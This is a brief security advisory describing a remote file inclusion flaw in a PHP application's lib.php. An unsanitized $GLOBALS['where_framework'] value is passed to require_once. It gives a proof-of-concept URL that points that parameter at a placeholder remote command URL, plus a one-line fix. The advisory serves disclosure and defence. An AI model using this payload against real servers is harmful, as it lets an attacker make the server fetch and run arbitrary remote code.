1) Description:  
  
Error occured in lib.php,  
  
require_once($GLOBALS['where_framework'].'/lib/lib.lang.php');  
require_once($GLOBALS['where_framework'].'/lib/lib.template.php');  
require_once($GLOBALS['where_framework'].'/lib/lib.mimetype.php');  
require_once($GLOBALS['where_framework'].'/lib/lib.utils.php');  
  
The users can include a remote file because  
the $GLOBALS['where_framework'] isn't sanitized  
  
2) Proof of concept:  
  
http://example/[dc_path]/lib/lib.php?GLOBALS[where_framework]=[cmd_url]  
  
3) Solution:  
  
include file where are declare $GLOBALS[*]
